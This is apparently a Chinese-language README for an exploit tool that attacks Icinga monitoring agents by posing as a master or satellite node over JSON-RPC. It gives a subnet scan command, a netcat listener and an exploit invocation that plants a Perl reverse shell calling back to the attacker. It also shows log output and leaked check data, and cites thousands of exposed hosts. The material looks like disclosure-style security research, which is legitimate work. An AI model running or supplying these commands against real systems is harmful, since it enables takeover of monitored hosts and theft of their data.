该漏洞利用 Icinga JSON-RPC 协议,针对运行 Icinga agent 的被监控节点进行利用。通过伪装成 Master/Satellite 实例,攻击者有可能接管 agent、执行任意命令或获取敏感信息。
要扫描子网中易受攻击的 agent,请运行以下命令:
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
该工具将以每批 25 个 IP 的方式扫描指定子网。它通过 JSON-RPC 协议发送 Icinga::HELLO 消息,并识别响应的 agent 及其版本。
如果端点上启用了配置和命令执行(运行 Icinga agent 的监控节点的默认设置),攻击者可以:
这可能导致完全系统入侵(取决于服务用户)或受限访问。
当父节点仍然连接时,漏洞利用连接在日志中会如下所示:
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
我们可以看到该节点容易受到攻击,因为集群的警告被触发,这意味着当前 satellite 仍然已连接,但该 agent 将我们视为有效的父节点。
启动一个 Netcat 监听器用于反向 shell:
nc -lvnp 9001
启动利用程序:
python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
--host:目标 agent 的 IP 地址。--node-cn:要伪装的 Master/Satellite 的通用名称。--zone:目标区域名称。默认为 master。--revip:攻击者的 IP 地址,用于反向 shell。--revport:攻击者的端口,用于反向 shell。该命令会发起重复的连接尝试。一旦目标 agent 与其当前父节点断开连接,该工具便会接管,发送和接收检查。
该工具使用一个基于 Perl 的反向 shell 作为其创建的新检查的一部分。
即使目标上禁用了配置和命令执行,攻击者仍可能通过观察发送给 agent 的检查结果来获取敏感数据。
{
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": {
"config": "object Downtime ...",
"name": "icinga-agent!load!9856e6b2...",
"type": "Downtime",
"version": 1733899523.67197
}
}
{
"jsonrpc": "2.0",
"method": "event::SetLastCheckStarted",
"params": {
"host": "icinga-agent",
"last_check_started": 1733899492.313578,
"service": "icinga"
},
"ts": 1733899492.313714
}
这些响应可能泄露敏感配置、调度数据,甚至被监控服务的结果。
在 Censys 上目前有 24,003 个主机暴露了 Icinga 端口。抽查表明,大多数主机仍在运行易受攻击的 Icinga 版本。
本研究基于 Icinga 博客 中讨论的工作。